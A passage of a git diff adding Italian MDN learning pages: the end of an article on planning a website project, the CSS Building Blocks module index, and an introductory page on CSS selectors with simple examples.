+<h2 id="Approfondimento">Approfondimento</h2>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Un progetto non inizia mai con il lato tecnico.</span> <span title="">I musicisti non faranno mai musica a meno che non abbiano prima un'idea di ciò che vogliono suonare, e lo stesso vale per pittori, scrittori e sviluppatori web.</span> <span title="">La tecnica arriva seconda.</span><br>
+ <br>
+ <span title="">La tecnica è ovviamente critica.</span> <span title="">I musicisti devono padroneggiare il loro strumento.</span> <span title="">Ma i bravi musicisti non potranno mai produrre buona musica senza un'idea.</span> <span title="">Pertanto, prima di passare al lato tecnico, ad esempio codice e strumenti, è necessario fare un passo indietro e decidere in dettaglio cosa si desidera fare.</span><br>
+ <br>
+ <span title="">La discussione di un'ora con gli amici è un buon inizio, ma inadeguata.</span> <span title="">Devi sederti e strutturare le tue idee per avere una visione chiara di quale percorso devi prendere per trasformare le tue idee in realtà.</span> <span title="">Per fare questo, hai solo bisogno di carta e penna e del tempo per rispondere almeno alle seguenti domande.</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="it"><span title="">Nota: ci sono innumerevoli modi per realizzare l'ideazione del progetto.</span> <span title="">Non possiamo metterli tutti qui (un intero libro non sarebbe abbastanza).</span> <span title="">Quello che presenteremo qui è un metodo semplice per gestire ciò che i professionisti chiamano Ideazione del progetto, Pianificazione del progetto e Gestione del progetto.</span></span></p>
+</div>
+
+<h3 id="Cosa_voglio_esattamente_realizzare">Cosa voglio esattamente realizzare?</h3>
+
+<p>Questa è la domanda più importante a cui rispondere, poiché guida tutto il resto. Elenca tutti gli obiettivi che desideri raggiungere. Può essere qualsiasi cosa: vendere beni per fare soldi, esprimere opinioni politiche, incontrare nuovi amici, fare concerti con i musicisti, collezionare foto di gatti o qualsiasi cosa tu voglia.</p>
+
+<p>Supponi di essere un musicista. Potresti voler:</p>
+
+<ul>
+ <li>Consenti alle persone di ascoltare la tua musica.</li>
+ <li>Vendi chicche.</li>
+ <li>Incontra altri musicisti.</li>
+ <li>Parla della tua musica.</li>
+ <li>Insegna musica attraverso i video.</li>
+ <li>Pubblica foto dei tuoi gatti.</li>
+ <li>Trova una nuova ragazza / ragazzo.</li>
+</ul>
+
+<p>Una volta che hai un tale elenco, devi dare la priorità. Ordina gli obiettivi dal più importante al meno importante:</p>
+
+<ol>
+  <li>Trova una nuova ragazza / ragazzo.</li>
+  <li>Consenti alle persone di ascoltare la tua musica.</li>
+  <li>Parla della tua musica.</li>
+  <li>Incontra altri musicisti.</li>
+  <li>Vendi chicche.</li>
+  <li>Insegna la musica attraverso i video.</li>
+  <li>Pubblica foto dei tuoi gatti.</li>
+</ol>
+
+<p>Fare questo semplice esercizio — scrivere obiettivi e classificarli — ti aiuterà quando hai delle decisioni da prendere. (Devo implementare queste funzionalità, utilizzare questi servizi, creare questi design?)</p>
+
+<p>Quindi ora che hai un elenco prioritario di obiettivi, passiamo alla domanda successiva.</p>
+
+<h3 id="In_che_modo_un_sito_web_potrebbe_portarmi_ai_miei_obiettivi">In che modo un sito web potrebbe portarmi ai miei obiettivi?</h3>
+
+<p>Quindi hai un elenco di obiettivi e ritieni di aver bisogno di un sito Web per raggiungere tali obiettivi. Sei sicuro?</p>
+
+<p>Diamo un'occhiata al nostro esempio. Abbiamo cinque obiettivi collegati alla musica, uno legato alla vita personale (trovare il tuo altro significativo) e le foto di gatti completamente indipendenti. È ragionevole creare un singolo sito Web per coprire tutti questi obiettivi? È addirittura necessario? Dopotutto, decine di servizi web esistenti potrebbero portarti ai tuoi obiettivi senza creare un nuovo sito web.</p>
+
+<p>Trovare una ragazza / ragazzo è il primo caso in cui ha più senso usare le risorse esistenti piuttosto che costruire un sito completamente nuovo. Perché? Perché dedicheremo più tempo alla costruzione e alla manutenzione del sito Web piuttosto che alla ricerca di una ragazza / ragazzo. Poiché il nostro obiettivo è ciò che conta di più, dovremmo spendere le nostre energie per sfruttare gli strumenti esistenti anziché iniziare da zero. Ancora una volta, ci sono così tanti servizi web già disponibili per mostrare le foto che non vale la pena creare un nuovo sito solo per spargere la voce su quanto siano carini i nostri gatti.</p>
+
+<p>Gli altri cinque obiettivi sono tutti collegati alla musica. Esistono, naturalmente, molti servizi Web in grado di gestire questi obiettivi, ma in questo caso ha senso creare un sito Web dedicato. Tale sito Web è il modo migliore per <em> aggregare </em> tutte le cose che vogliamo pubblicare in un unico posto (buono per gli obiettivi 3, 5 e 6) e promuovere <em> interazione </em> tra di noi e il pubblico (buono per gli obiettivi 2 e 4). In breve, poiché questi obiettivi ruotano tutti intorno allo stesso argomento, avere tutto in un unico posto ci aiuterà a raggiungere i nostri obiettivi e aiuterà i nostri follower a connettersi con noi.</p>
+
+<p>In che modo un sito Web può aiutarmi a raggiungere i miei obiettivi? Rispondendo a ciò, troverai il modo migliore per raggiungere i tuoi obiettivi e salvarti da uno sforzo sprecato.</p>
+
+<h3 id="Cosa_bisogna_fare_e_in_quale_ordine_per_raggiungere_i_miei_obiettivi">Cosa bisogna fare e in quale ordine per raggiungere i miei obiettivi?</h3>
+
+<p>Ora che sai cosa vuoi realizzare, è tempo di trasformare quegli obiettivi in passaggi attuabili. Come nota a margine, i tuoi obiettivi non sono necessariamente fissati nella pietra. Si evolvono nel tempo anche nel corso del progetto, soprattutto se si incontrano ostacoli imprevisti o si cambia idea.</p>
+
+<p>Invece di fare una lunga spiegazione, torniamo al nostro esempio con questa tabella:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Obiettivi</th>
+   <th scope="col">Cose da fare</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">Consenti alle persone di ascoltare la tua musica</td>
+   <td>
+    <ol>
+     <li>Registra musica</li>
+     <li>Prepara alcuni file audio utilizzabili online (potresti farlo con i servizi web esistenti?)
+     </li>
+     <li>Consenti alle persone di accedere alla tua musica su alcune parti del tuo sito web</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Parla della tua musica</td>
+   <td>
+    <ol>
+      <li>Scrivi alcuni articoli per iniziare la discussione</li>
+      <li>Definisci l'aspetto degli articoli</li>
+      <li>Pubblica tali articoli sul sito Web (come fare?)</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Incontra altri musicisti</td>
+   <td>
+    <ol>
+     <li>Fornire modi in cui le persone possono contattarti (e-mail? Facebook? Telefono? Posta?)
+     </li>
+     <li>Definisci come le persone troveranno quei canali di contatto dal tuo sito web</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Vendi chicche</td>
+   <td>
+    <ol>
+      <li>Crea le chicche</li>
+      <li>Conserva le chicche</li>
+      <li>Trova un modo per gestire la spedizione</li>
+      <li>Trova un modo per gestire il pagamento</li>
+      <li>Crea un meccanismo sul tuo sito affinché le persone possano effettuare ordini</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Insegna musica attraverso i video</td>
+   <td>
+    <ol>
+      <li>Registra lezioni video</li>
+      <li>Prepara i file video visualizzabili online (Ancora, potresti farlo con i servizi web esistenti?)
+      </li>
+      <li>Consenti alle persone di accedere ai tuoi video su alcune parti del tuo sito web</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Due cose da notare. Innanzitutto, alcuni di questi articoli non sono correlati al web (ad esempio, registrare musica, scrivere articoli). Spesso queste attività offline sono ancora più importanti del lato web del progetto. Nelle vendite, ad esempio, è molto più importante e richiede molto tempo gestire la fornitura, il pagamento e la spedizione piuttosto che costruire un sito Web in cui le persone possono effettuare ordini.</p>
+
+<p>In secondo luogo, la definizione di passaggi attuabili porta a nuove domande a cui dovrai rispondere. Di solito ci sono più domande di quanto pensassimo inizialmente. (Ad esempio, dovrei imparare a fare tutto questo da solo, chiedere a qualcuno di farlo per me o utilizzare servizi di terze parti?)</p>
+
+<h2 id="Conclusione">Conclusione</h2>
+
+<p>Come puoi vedere, la semplice idea "Voglio creare un sito Web" genera un lungo elenco di cose da fare, che si allunga solo quando ci pensi. Presto potrebbe sembrare travolgente, ma non fatevi prendere dal panico. Non è necessario rispondere a tutte le domande e non è necessario fare tutto sul proprio elenco. Ciò che conta è avere una visione di ciò che vuoi e come arrivarci. Una volta che hai quella visione chiara, devi decidere come e quando farlo. Suddividi i compiti più grandi in piccoli passaggi attuabili. E quei piccoli passi si sommeranno a grandi risultati.</p>
+
+<p>Da questo articolo, dovresti ora essere in grado di fare un piano approssimativo per la creazione di un sito Web. Un prossimo passo potrebbe essere quello di leggere <a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/How_does_the_Internet_work"> come funziona Internet</a>.</p>
diff --git a/files/it/learn/css/building_blocks/index.html b/files/it/learn/css/building_blocks/index.html
new file mode 100644
index 0000000000..ef61b8c18b
--- /dev/null
+++ b/files/it/learn/css/building_blocks/index.html
@@ -0,0 +1,89 @@
+---
+title: La costruzione del CSS
+slug: Learn/CSS/Building_blocks
+tags:
+  - Beginner
+  - CSS
+  - Learn
+  - Principiante
+  - building blocks
+translation_of: Learn/CSS/Building_blocks
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Questo modulo di apprendimento è il seguito di <a href="/en-US/docs/Learn/CSS/First_steps">Primi passi con il CSS</a>: dopo aver familiarizzato con il linguaggio e la sua sintassi e dopo aver acquisito una minima esperienza di utilizzo, è ora di andare più a fondo. In questo modulo verranno trattati: funzionamento a cascata ed ereditarietà, tutti i tipi di selettori disponibili, unità di misura, dimensioni, stilizzazione di sfondi e contorni, debug e molto altro.</p>
+
+<p class="summary">Lo scopo del modulo è fornire gli strumenti per sviluppare CSS efficaci e le basi teoriche essenziali, prima di procedere verso discipline più specifiche come la <a href="/it/docs/Learn/CSS/Styling_text">stilizzazione del testo</a> e il <a href="/it/docs/Learn/CSS/CSS_layout">layout CSS</a>.</p>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Per affrontare questo modulo è necessario:</p>
+
+<ol>
+ <li>Familiarità con l'utilizzo di computer e navigazione passiva sul Web (ovvero consultare semplicemente i contenuti, senza manipolarli).</li>
+ <li>Un ambiente di lavoro base come specificato in <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installazione di software fondamentali</a> e le conoscenze necessarie a creare e gestire file, come specificato in <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Gestire_i_file">Gestire i file</a>.</li>
+ <li>Una minima familiarità con l'HTML, come trattato nel modulo <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduzione all'HTML</a>.</li>
+ <li>Comprensione delle basi del CSS come trattato nel modulo <a href="/en-US/docs/Learn/CSS/First_steps">Primi passi con il CSS</a>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Per chi utilizza un computer/tablet/altro dispositivo che non permette di creare file in locale, è possibile riprodurre la maggior parte degli esempi di codice con un programma online tipo <a href="http://jsbin.com/">JSBin</a> o <a href="https://glitch.com/">Glitch</a>.</p>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<p>Questo modulo contiene i seguenti articoli, che coprono le basi del linguaggio CSS. Lungo il percorso sono previsti vari esercizi per verificare la comprensione dell'argomento.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade ed ereditarietà</a></dt>
+ <dd>L'obiettivo di questa lezione è sviluppare la comprensione di alcuni dei concetti fondamentali del CSS (il <em>cascade</em>, la specificità e l'ereditarietà) che regolano l'applicazione del CSS all'HTML e la risoluzione dei conflitti.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selettori CSS</a></dt>
+ <dd>Esiste una grande varietà di selettori CSS, che permettono di selezionare con estrema precisione gli elementi da stilizzare. In questo articolo e nelle sue sotto-sezioni osservando come funzionano nel dettaglio le differenti tipologie. Le sotto-sezioni sono le seguenti:
+ <ul>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tipo, classi, e selettori ID</a></li>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selettori di attributi</a></li>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classi e pseudo-elementi</a></li>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinatori</a></li>
+ </ul>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">Il modello a contenitori CSS</a></dt>
+ <dd>Ogni elemento CSS è racchiuso in un contenitore. Comprendere il funzionamento dei contenitori è fondamentale per creare layout con il CSS o allineare fra loro gli elementi. In questa lezione studieremo il <em>modello a contenitori</em> del CSS, una premessa necessaria per acquisire dimestichezza con il loro funzionamento e relativa terminologia prima di passare a configurazioni di layout più complesse.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Sfondi e contorni</a></dt>
+ <dd>In questa lezione accenneremo alle potenzialità creative del CSS mediante la stilizzazione di sfondi e contorni. Affronteremo numerose delle domande più frequenti sul CSS come aggiungere gradienti, immagini di sfondo e angoli arrotondati.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Gestire direzioni di testo differenti</a></dt>
+ <dd>Recentemente il CSS si è evoluto per supportare meglio differenti direzioni del contenuto, sia quella da destra verso sinistra che quella dall'alto verso il basso (come il giapponese). Queste differenti direzioni sono chiamate <strong>writing modes</strong>, cioè modalità di scrittura. Introduciamo l'argomento perché più avanti, quando inizieremo a lavorare con i layout, sarà utile capire le modalità di scrittura.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflow dei contenuti</a></dt>
+ <dd>In questa lezione vedremo un altro importante concetto nel CSS: l'<strong>overflow</strong>. L'overflow si verifica quando il contenuto è troppo per essere adeguatamente racchiuso in un contenitore. In questa guida impareremo di cosa si tratta e come gestirlo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Valori e unità CSS</a></dt>
+ <dd>Ogni proprietà usata nel CSS ha un valore o un insieme di valori consentiti per quella proprietà. In questa lezione affronteremo i valori e le unità più diffusi.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Ridimensionare gli elementi nel CSS</a></dt>
+ <dd>Nelle precedenti lezioni abbiamo incontrato diversi metodi per ridimensionare elementi in una pagina web utilizzando il CSS. È importante essere in grado di calcolare la dimensione dei diversi elementi nel proprio concetto grafico. In questa lezione riassumeremo i vari metodi per definire la grandezza di un elemento tramite il CSS e alcuni termini riguardo le grandezze che potranno esserti d'aiuto in futuro.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Immagini, contenuti multimediali e moduli</a></dt>
+ <dd>In questa lezione vedremo come alcuni elementi speciali vengono gestiti nel CSS. Gli elementi di immagini, altri contenuti multimediali e moduli presentano leggere differenze in termini di possibilità di stilizzazione in contenitori regolari. Sapere cosa sia possibile e cosa no può evitare errori frustranti. In questa lezione evidenzieremo le conoscenze più importanti che ci serviranno.</dd>
+ <dt><a href="/it/docs/Learn/CSS/Building_blocks/Styling_tables">Stili e tabelle</a></dt>
+ <dd>Stilizzare una tabella HTML non è il lavoro più entusiasmante al mondo, ma a volte tocca a farlo. Questo articolo fornisce una guida per rendere le tabelle HTML graficamente gradevoli, presentando anche tecniche di stilizzazione specifiche.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Fare il debug in CSS</a></dt>
+ <dd>Un problema comune nello sviluppo del CSS è quando il codice presenta comportamenti imprevisti. Questo articolo fornisce una traccia per compiere il debug di un problema con il CSS e mostra come impiegare i DevTools (gli strumenti per sviluppatore incorporati in tutti i browser moderni) per individuare le anomalie.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizzare il CSS</a></dt>
+ <dd>Quando si inizia a lavorare su fogli di stile e progetti sempre più corposi, ci si rende conto che mantenere un file CSS di grandi dimensioni può essere impegnativo. In questo articolo affronteremo velocemente alcune buone pratiche per scrivere un foglio CSS facilmente gestibile e altre soluzioni escogitate dai vari sviluppatori per semplificare la gestione del codice.</dd>
+</dl>
+
+<h2 id="Valutazioni">Valutazioni</h2>
+
+<p>Per chi desidera mettersi alla prova, le seguenti valutazioni sono realizzate appositamente per verificare la comprensione degli argomenti CSS affrontati nelle guide precedenti.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">Comprensione delle basi di CSS</a></dt>
+ <dd>Questa valutazione verifica la comprensione della sintassi CSS di base, selettori, specificità, modelli di contenitori e altro.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">Realizza una carta da lettere intestata</a></dt>
+ <dd>Per fare una buona prima impressione non c'è niente di meglio che scrivere una lettera su carta intestata ricercata. Per superare questa valutazione dovrai realizzare un modello di carta intestata online dalla grafica accattivante.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">Un gran bel contenitore</a></dt>
+ <dd>In questa valutazione faremo pratica con la stilizzazione di sfondi e contorni per realizzare un contenitore che non passa inosservato.</dd>
+</dl>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Advanced_styling_effects">Effetti avanzati di stilizzazione</a></dt>
+ <dd>Questo articolo è una sorta di scatola dei trucchi: fornisce un'introduzione ad alcune interessanti funzionalità avanzate di stilizzazione come ombre, modalità di fusione e filtri.</dd>
+</dl>
diff --git a/files/it/learn/css/building_blocks/selettori/index.html b/files/it/learn/css/building_blocks/selettori/index.html
new file mode 100644
index 0000000000..cf0f6662cf
--- /dev/null
+++ b/files/it/learn/css/building_blocks/selettori/index.html
@@ -0,0 +1,231 @@
+---
+title: selettori CSS
+slug: Learn/CSS/Building_blocks/Selettori
+tags:
+  - Attributo
+  - CSS
+  - Classe
+  - Impara
+  - Principiante
+  - Pseudo
+  - Selettori
+translation_of: Learn/CSS/Building_blocks/Selectors
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</div>
+
+<p class="summary">Nei {{Glossary("CSS")}}, i selettori vengono usati per selezionare elementi {{glossary("HTML")}} della pagina web di cui vogliamo curare lo stile. Esiste una grande varietá di selettori CSS, rendendo possibile selezionare gli elementi con particolare accuratezza. In questo articolo e nelle sue sezioni ci soffermeremo nel dettaglio sui diversi tipi di selettori, osservandone il funzionamento.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscenze informatiche di base, <a href="/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">istallazione di software fondamentali</a>, conoscenze base di <a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">gestione dei file</a>, basi di HTML (vedi <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduzione ad HTML</a>) ed avere un'idea di base di come funzionano i CDD (vedi <a href="/en-US/docs/Learn/CSS/First_steps">primi passi con i CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Obbiettivo:</th>
+   <td>Apprendere nel dettaglio il funzionamento dei selettori CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cosé_un_selettore">Cos'é un selettore?</h2>
+
+<p>Hai giá incontrato i selettori prima di questo articolo: un selettore CSS corrisponde infatti alla prima parte di una regola e non é altro che un insieme di termini che dicono al browser quali elementi HTML devono essere selezionati in modo che vi si possano applicare le proprietá contenute dentro la regola. L'elemento o gli elementi selezionati tramite un selettore sono noti come <em>soggetto del selettore</em>.</p>
+
+<p><img alt="Some code with the h1 highlighted." src="https://mdn.mozillademos.org/files/16550/selector.png" style="border: 1px solid #cccccc; height: 218px; width: 471px;"></p>
+
+<p>Nei precedenti articoli hai incontrato diversi selettori e imparato che alcuni di essi effettuano la selezione in modi differenti — selezionando ad esempio tutti gli elementi <code>h1</code> oppure una classe come <code>.special</code>.</p>
+
+<p>Nei CSS, i selettori sono definiti nelle specifiche sui selettori CSS e come ogni parte dei CSS necessitano del supporto del browser per poter funzionare. La maggior parte dei selettori che incontrerai sono definiti in <a href="https://www.w3.org/TR/selectors-3/">Level 3 Selectors specification</a> (specifica sui selettori di livello 3),  la quale é una raccolta curata e condivisa e i selettori lí elencati hanno il pieno supporto della maggior parte dei browser.</p>
+
+<h2 id="Liste_di_selettori">Liste di selettori</h2>
+
+<p>Nel caso in cui tu abbia  piú elementi che condividano le stesse regole di CSS, allora piú selettori individuali possono essere combinati in una lista. Ad esempio, se mi trovo ad avere lo stesso CSS per un <code>h1</code> ed anche per la classe <code>.special</code>, potrei scriverlo nel seguente modo.</p>
+
+<pre class="brush: css notranslate"><code>h1 {
+  color: blue;
+}
+
+.special {
+  color: blue;
+} </code></pre>
+
+<p>Per sintetizzare questo codice posso unire i due selettori dentro una lista, separandoli con una virgola.</p>
+
+<pre class="brush: css notranslate"><code>h1, .special {
+  color: blue;
+} </code></pre>
+
+<p>Sono ammessi spazi bianchi prima o dopo la virgola. Potresti considerare piú ordinato e leggibile il codice ponendo ogni selettore su una singola riga.</p>
+
+<pre class="brush: css notranslate"><code>h1,
+.special {
+  color: blue;
+} </code></pre>
+
+<p>Dall'esempio precedente, prova a combinare i due selettori con la stessa dichiarazione. Dovresti ottenere lo stesso risultando visivo pur modificando la sintassi del codice.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} </p>
+
+<p>Quando raggruppi i selettori in quasto modo, se alcuni di essi non sono validi l'intera regola verrá ignorata.</p>
+
+<p>Nell'esempio seguente, il selettore di classe non é corretto e pertanto la sua dichiarazione verrá ignorata, mentre il selettore <code>h1</code> non presenta errori e la sua dichiarazione verrá eseguita correttamente.</p>
+
+<pre class="brush: css notranslate"><code>h1 {
+  color: blue;
+}
+
+..special {
+  color: blue;
+} </code></pre>
+
+<p>Tuttavia se combinati, né il selettore <code>h1</code> né il selettore di classe verranno considerati e l'intera regola sará quindi ignorata.</p>
+
+<pre class="brush: css notranslate"><code>h1, ..special {
+  color: blue;
+} </code></pre>
+
+<h2 id="Tipi_di_selettori">Tipi di selettori</h2>
+
+<p>I selettori sono raggruppabili per tipo e conoscerne la classificazione é il primo passo per poter ricercare agevolmente quello giusto per ogni occorrenza. In questa sezione vedremo nel dettaglio i differenti gruppi di selettori.</p>
+
+<h3 id="Selettori_di_tipo_classe_e_ID">Selettori di tipo, classe e ID</h3>
+
+<p>Questo gruppo include i selettori usati per gli elementi della pagina HTML come <code>&lt;h1&gt;</code>.</p>
+
+<pre class="brush: css notranslate">h1 { }</pre>
+
+<p>Include inoltre i selettori di classe:</p>
+
+<pre class="brush: css notranslate">.box { }</pre>
+
+<p>oppure di ID:</p>
+
+<pre class="brush: css notranslate">#unique { }</pre>
+
+<h3 id="Selettori_di_attributo">Selettori di attributo</h3>
+
+<p>Questo gruppo di selettori fornisce diversi modi per selezionare elementi tramite la presenza di un particolare attributo su di essi:</p>
+
+<pre class="brush: css notranslate">a[title] { }</pre>
+
+<p>Oppure seleziona basandosi sulla presenza di un attributo con uno specifico valore:</p>
+
+<pre class="brush: css notranslate">a[href="https://example.com"] { }</pre>
+
+<h3 id="Pseudo-classi_e_pseudo-elementi">Pseudo-classi e pseudo-elementi</h3>
+
+<p>Questo gruppo di selettori include le pseudo-classi, le cui selezioni hanno effetto solo in determinate condizioni. Ad esempio, la pseudo classe <code>:hover</code> seleziona un elemento solo quando su questo vi passa sopra il puntatore del mouse:</p>
+
+<pre class="brush: css notranslate">a:hover { }</pre>
+
+<p>Include inoltre gli pseudo-elementi, i quali selezionano solo una parte dell'elemento in questione. Ad esempio, <code>::first-line</code> seleziona sempre la prima riga di testo di un elemento (un elemento <code>&lt;p&gt;</code> nell'esempio seguente), come se questa fosse messa dentro un blocco  <code>&lt;span&gt;</code>  e selezionata.</p>
+
+<pre class="brush: css notranslate">p::first-line { }</pre>
+
+<h3 id="Combinatori">Combinatori</h3>
+
+<p>L'ultimo gruppo di selettori combina gli altri selettori in modo da poter selezionare piú elementi della pagina. Il seguente esempio seleziona i paragrafi che sono figli di <code>&lt;article&gt;</code> utilizzando il combinatore (<code>&gt;</code>):</p>
+
+<pre class="brush: css notranslate">article &gt; p { }</pre>
+
+<h2 id="Prossimo_passo">Prossimo passo</h2>
+
+<p>Puoi dare un'occhiata alla seguente tabella riassuntiva sui selettori, visitare i link di questa guida o di MDN, relativi al tipo di selettore corrispondente, oppure proseguire con la tua esplorazione alla scoperta dei <a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">selettori di tipo, classe e id</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="Tabella_riassuntiva_dei_selettori">Tabella riassuntiva dei selettori</h2>
+
+<p>La tabella sottostante ti fornisce una panoramica dei selettori incontrati con i relativi link alle pagine di questa guida che mostrano come usarli. Vi sono inoltre anche dei link alle pagine MDN del corrispondente tipo di selettore dove é possibile ottenere informazioni su supporto e compatibilitá dei principali browser. Puoi usare questa tabella come punto d'appoggio per ripassare o ricercare i selettori o, piú in generale, mentre ti eserciti coi CSS.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Selettore</th>
+   <th scope="col">Esempio</th>
+   <th scope="col">Tutorial sui CSS</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Type_selectors">Selettore di tipo</a></td>
+   <td><code>h1 {  }</code></td>
+   <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#Type_selectors">Selettore di tipo</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Universal_selectors">Selettore universale</a></td>
+   <td><code>* {  }</code></td>
+   <td><a href="/en-US/docs/Web/CSS/Universal_selectors">Selettore universale</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Class_selectors">Selettore di classe</a></td>
+   <td><code>.box {  }</code></td>
+   <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#Class_selectors">Selettore di classe</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/ID_selectors">Selettore di ID</a></td>
+   <td><code>#unique { }</code></td>
+   <td><a href="/en-US/docs/Web/CSS/ID_selectors">Selettore di ID</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Attribute_selectors">Selettore di attributo</a></td>
+   <td><code>a[title] {  }</code></td>
+   <td><a href="/en-US/docs/Web/CSS/Attribute_selectors">Selettore di attributo</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Pseudo-classes">Pseudo-classi</a></td>
+   <td><code>p:first-child { }</code></td>
+   <td><a href="/en-US/docs/Web/CSS/Pseudo-classes">Pseudo-classi</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo-elementi</a></td>
+   <td><code>p::first-line { }</code></td>
+   <td><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo-elementi</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Descendant_combinator">Combinatore di discendenza</a></td>
+   <td><code>article p</code></td>
+   <td><a href="/en-US/docs/Web/CSS/Descendant_combinator">Combinatore di discendenza</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Child_combinator">Combinatore di figli</a></td>
+   <td><code>article &gt; p</code></td>
+   <td><a href="/en-US/docs/Web/CSS/Child_combinator">Combinatore di figli</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Adjacent_sibling_combinator">Combinatore di fratelli adiacenti</a></td>
+   <td><code>h1 + p</code></td>
+   <td><a href="/en-US/docs/Web/CSS/Adjacent_sibling_combinator">Combinatore di fratelli adiacenti</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/General_sibling_combinator">Combinatore di fratelli generici</a></td>
+   <td><code>h1 ~ p</code></td>
+   <td><a href="/en-US/docs/Web/CSS/General_sibling_combinator">Combinatore di fratelli generici</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade and inheritance</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS selectors</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class, and ID selectors</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinators</a></li>
+  </ul>
+ </li>
